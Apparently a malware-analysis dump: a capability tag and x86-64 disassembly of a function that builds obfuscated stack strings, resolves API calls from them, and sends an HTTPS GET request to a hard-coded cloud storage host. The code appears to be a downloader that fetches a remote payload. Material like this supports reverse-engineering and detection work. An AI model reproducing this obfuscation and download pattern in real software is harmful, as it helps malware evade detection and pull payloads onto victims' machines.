Function at 0x140002060
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov r11, rsp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x1c0
mov qword [rsp + 0x140], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x20], rbp
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
mov rbp, r8
mov rbx, rdx
mov rsi, rcx
mov qword [r11 - 0x98], rdx
xor r14d, r14d
mov qword [rsp + 0x40], r14
xor eax, eax
mov qword [rsp + 0x48], rax
mov byte [r11 - 0x78], 0x43
mov byte [r11 - 0x77], 0x6e
mov byte [r11 - 0x76], 0x72
mov byte [r11 - 0x75], 0x48
mov byte [r11 - 0x74], 0x70
mov byte [r11 - 0x73], 0x7a
mov byte [r11 - 0x72], 0x75
mov byte [r11 - 0x71], 0x53
mov byte [r11 - 0x70], 0x70
mov byte [r11 - 0x6f], 0x61
mov byte [r11 - 0x6e], 0x74
mov byte [r11 - 0x6d], al
mov byte [rsp + 0x158], 0x47
mov byte [rsp + 0x159], 0x46
mov byte [rsp + 0x15a], 0x45
mov byte [rsp + 0x15b], 0x61
mov byte [rsp + 0x15c], 0x57
mov byte [rsp + 0x15d], al
lea rax, [rsp + 0x50]
mov qword [r11 - 0x40], rax
mov qword [rsp + 0x70], 0xf
mov qword [rsp + 0x68], r14
mov byte [rsp + 0x58], r14b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [r11 - 0x90]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [r11 - 0x90]
lea rcx, [rsp + 0x50]
call fcn.140003970
nop
mov qword [rsp + 0x110], 0xf
mov qword [rsp + 0x108], r14
mov byte [rsp + 0xf8], r14b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x170]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0xf0]
call fcn.140003970
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0xf0]
mov rcx, rbp
call fcn.1400014a0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rax
mov r13, rax
test rax, rax
je 0x140002590
mov byte [rsp + 0x180], 0x42
mov byte [rsp + 0x181], 0x76
mov byte [rsp + 0x182], 0x77
mov byte [rsp + 0x183], 0x58
mov byte [rsp + 0x184], 0x6b
mov byte [rsp + 0x185], 0x61
mov byte [rsp + 0x186], 0x74
mov byte [rsp + 0x187], 0x48
mov byte [rsp + 0x188], 0x62
mov byte [rsp + 0x189], 0x77
mov byte [rsp + 0x18a], 0x64
mov byte [rsp + 0x18b], 0x76
mov byte [rsp + 0x18c], 0x6a
mov byte [rsp + 0x18d], 0x78
mov byte [rsp + 0x18e], r14b
mov byte [rsp + 0x160], 0x46
mov byte [rsp + 0x161], 0x4e
mov byte [rsp + 0x162], 0x4a
mov byte [rsp + 0x163], 0x71
mov byte [rsp + 0x164], 0x52
mov byte [rsp + 0x165], 0x48
mov byte [rsp + 0x166], 0x45
mov byte [rsp + 0x167], r14b
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0xc0], 0xf
mov qword [rsp + 0xb8], r14
mov byte [rsp + 0xa8], r14b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x160]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0xa0]
call fcn.140003970
nop
mov qword [rsp + 0x138], 0xf
mov qword [rsp + 0x130], r14
mov byte [rsp + 0x120], r14b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x180]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x118]
call fcn.140003970
mov edi, 0x1bb
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x118]
mov rcx, rbp
call fcn.1400014a0
xor r9d, r9d
movzx r8d, di
lea rdx, str.dasdassaddsfdfsfe.oss_cn_beijing.aliyuncs.com
mov rcx, r13
call rax
mov r12, rax
test rax, rax
je 0x140002590
mov eax, 0x47
mov word [rsp + 0x1a8], ax
mov eax, 0x45
mov word [rsp + 0x1aa], ax
mov eax, 0x54
mov word [rsp + 0x1ac], ax
mov word [rsp + 0x1ae], r14w
mov byte [rsp + 0x190], 0x49
mov byte [rsp + 0x191], 0x6e
mov byte [rsp + 0x192], 0x7a
mov byte [rsp + 0x193], 0x52
mov byte [rsp + 0x194], 0x6b
mov byte [rsp + 0x195], 0x78
mov byte [rsp + 0x196], 0x6a
mov byte [rsp + 0x197], 0x41
mov byte [rsp + 0x198], 0x75
mov byte [rsp + 0x199], 0x71
mov byte [rsp + 0x19a], 0x78
mov byte [rsp + 0x19b], 0x49
mov byte [rsp + 0x19c], 0x69
mov byte [rsp + 0x19d], 0x6b
mov byte [rsp + 0x19e], 0x67
mov byte [rsp + 0x19f], 0x6a
mov byte [rsp + 0x1a0], 0x65
mov byte [rsp + 0x1a1], 0x64
mov byte [rsp + 0x1a2], r14b
mov byte [rsp + 0x168], 0x6d
mov byte [rsp + 0x169], 0x66
mov byte [rsp + 0x16a], 0x4d
mov byte [rsp + 0x16b], 0x4b
mov byte [rsp + 0x16c], 0x52
mov byte [rsp + 0x16d], 0x65
mov byte [rsp + 0x16e], 0x75
mov byte [rsp + 0x16f], r14b
lea rax, [rsp + 0x78]
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x98], 0xf
mov qword [rsp + 0x90], r14
mov byte [rsp + 0x80], r14b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x168]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x78]
call fcn.140003970
nop
mov qword [rsp + 0xe8], 0xf
mov qword [rsp + 0xe0], r14
mov byte [rsp + 0xd0], r14b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x190]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0xc8]
call fcn.140003970
cmp qword [rbx + 0x20], 8
jb 0x140002525
mov rdi, qword [rbx + 8]
jmp 0x140002529
lea rdi, [rbx + 8]
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0xc8]
mov rcx, rbp
call fcn.1400014a0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rdi
lea rdx, [rsp + 0x1a8]
mov rcx, r12
call rax
mov rdi, rax
test rax, rax
je 0x140002590
lea r8, [rsp + 0x40]
mov rdx, rax
mov rcx, rbp
call fcn.140001970
test eax, eax
je 0x140002590
mov r9, rdi
mov r8, r12
mov rdx, r13
mov rcx, rbp
call fcn.140001ee0
lea rcx, [rsp + 0x40]
mov rax, qword [rcx]
mov qword [rsi], rax
mov rax, qword [rcx + 8]
mov qword [rsi + 8], rax
cmp qword [rbx + 0x20], 8
jb 0x1400025b3
mov rcx, qword [rbx + 8]
call fcn.140004d10
mov qword [rbx + 0x20], 7
mov qword [rbx + 0x18], r14
mov word [rbx + 8], r14w
mov rax, rsi
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.140004b60
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret